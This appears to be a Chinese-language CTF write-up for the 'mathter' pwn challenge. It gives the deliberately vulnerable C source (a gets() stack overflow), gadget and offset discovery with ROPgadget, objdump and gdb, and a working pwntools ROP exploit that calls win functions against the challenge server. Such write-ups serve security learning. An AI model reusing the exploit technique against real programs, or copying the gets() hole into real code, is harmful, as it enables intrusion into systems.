原始碼
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void win1(unsigned int check) {
if (check == 0xdeadbeef) {
FILE *fp = fopen("/home/mathter/flag", "r");
if (fp != NULL) {
char flag[256];
if (fgets(flag, sizeof(flag), fp) != NULL) {
size_t len = strlen(flag);
if (len > 0 && flag[len - 1] == '\n') {
flag[len - 1] = '\0';
len--;
}
size_t mid = len / 2;
for (size_t i = 0; i < mid; i++) {
putchar(flag[i]);
}
putchar('\n');
}
fclose(fp);
} else {
printf("Failed to open flag file.\n");
}
} else {
printf("Sorry, wrong argument. Try again!\n");
}
}
void win2(unsigned int check) {
if (check == 0xcafebabe) {
FILE *fp = fopen("/home/mathter/flag", "r");
if (fp != NULL) {
char flag[256];
if (fgets(flag, sizeof(flag), fp) != NULL) {
size_t len = strlen(flag);
if (len > 0 && flag[len - 1] == '\n') {
flag[len - 1] = '\0';
len--;
}
size_t mid = len / 2;
for (size_t i = mid; i < len; i++) {
putchar(flag[i]);
}
putchar('\n');
}
fclose(fp);
} else {
printf("Failed to open flag file.\n");
}
} else {
printf("Sorry, wrong argument. Try again!\n");
}
}
int goodbye() {
char response[4];
printf("Are you sure you want to leave? [Y/n]\n");
gets(response);
if (response[0] == 'y' || response[0] == 'Y') {
printf("Goodbye!\n");
return 1;
}
return 0;
}
void calculator() {
char input[256];
int x, y, result;
char op;
while (1) {
printf("Enter an operation and two numbers (e.g., 1 + 1) : ");
fgets(input, sizeof(input), stdin);
if (input[0] == 'q') {
printf("Exiting calculator...\n");
break;
}
if (sscanf(input, "%d %c %d", &x, &op, &y) == 3) {
switch (op) {
case '+':
result = x + y;
printf("%d + %d = %d\n", x, y, result);
break;
case '-':
result = x - y;
printf("%d - %d = %d\n", x, y, result);
break;
case '*':
result = x * y;
printf("%d * %d = %d\n", x, y, result);
break;
case '/':
if (y != 0) {
result = x / y;
printf("%d / %d = %d\n", x, y, result);
} else {
printf("Error: Division by zero!\n");
}
break;
default:
printf("Invalid operation!\n");
}
} else {
printf("Invalid input format. Please use the format: 1 + 1\n");
}
}
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
printf(" __ __ _ _ __ __ _ _ _ \n");
printf(" \\ \\ / /__| | ___ ___ _ __ ___ ___ | |_ ___ | \\/ | __ _| |_| |__ | |_ ___ _ __ \n");
printf(" \\ \\ /\\ / / _ \\ |/ __/ _ \\| '_ ` _ \\ / _ \\ | __/ _ \\ | |\\/| |/ _` | __| '_ \\| __/ _ \\ '__|\n");
printf(" \\ V V / __/ | (_| (_) | | | | | | __/ | || (_) | | | | | (_| | |_| | | | || __/ | \n");
printf(" \\_/\\_/ \\___|_|\\___\\___/|_| |_| |_|\\___| \\__\\___/ |_| |_|\\__,_|\\__|_| |_|\\__\\___|_|\n\n");
while (1) {
calculator();
if (goodbye()){
break;
}
}
return 0;
}
//gcc -static -o mathter -no-pie -fno-stack-protector -z now -z relro mathter.c
解題
解題思路
在goodbye function有用get函數可以進行overflow,並且利用pop rdi設定參數,分別跳到win1、win2 funtion取得2段flag
PS : 這題要注意的是在取overflow起點時會碰到rax-4,要用該位置+4設為起點
PS : 要覆蓋的位置不要找成main函數的return
確認保護機制
checksec --file=mathter

尋找需要的資訊
尋找pop rdi的位置
ROPgadget --binary mathter --only "pop|ret"|grep rdi

0x0000000000402701 : pop rdi ; ret
尋找ret的位置
ROPgadget --binary mathter --only "ret"

0x0000000000401016 : ret
尋找win1 function位置
objdump -d mathter |grep -A 10 "<win1>"

0000000000401945 <win1>:
尋找win2 function位置
objdump -d mathter |grep -A 10 "<win2>"

0000000000401a6c <win2>:
計算overflow需要的大小
gdb ./mathter
b goodbye
run

01:0008│ rax-4 0x7fffffffdf88 ◂— 0x61616161ffffe0b8
03:0018│+008 0x7fffffffdf98 —▸ 0x401ea0 (main+189) ◂— test eax, eax
需要的大小為
0x98-(0x88+0x4)=0xC
編寫payload
payload1:
pop_rdi=0x402701
ret=0x401016
win1=0x401945
p=flat(
b'a'*0xC,
ret,
pop_rdi,0xdeadbeef,
win1
)
payload2:
pop_rdi=0x402701
ret=0x401016
win2=0x401a6c
p=flat(
b'a'*0xC,
ret,
pop_rdi,0xcafebabe,
win2
)
實際payload
from pwn import *
context.arch = 'amd64'
host='chall.nckuctf.org'
port=28204
r=remote(host,port)
'''
01:0008│ rax-4 0x7fffffffdf88 ◂— 0x61616161ffffe0b8
03:0018│+008 0x7fffffffdf98 —▸ 0x401ea0 (main+189) ◂— test eax, eax
0x0000000000402701 : pop rdi ; ret
0000000000401945 <win1>:
0000000000401a6c <win2>:
0x0000000000401016 : ret
'''
ret=0x401016
pop_rdi=0x402701
win1=0x401945
win2=0x401a6c
pop_rdi_value_win1=0xdeadbeef
pop_rdi_value_win2=0xcafebabe
p1=flat(
b'n'*0xC,
ret,
pop_rdi,pop_rdi_value_win1,
win1
)
p2=flat(
b'n'*0xC,
ret,
pop_rdi,pop_rdi_value_win2,
win2
)
if input("get flag 1 or 2 : \n")=='1':
payload=p1
else:
payload=p2
r.sendlineafter(b' : ',b'q')
r.recvline()
r.sendline(payload)
r.recvline()
flag1=r.recvline()
r.close()
print(flag1.decode().strip())
flag



說些什麼吧!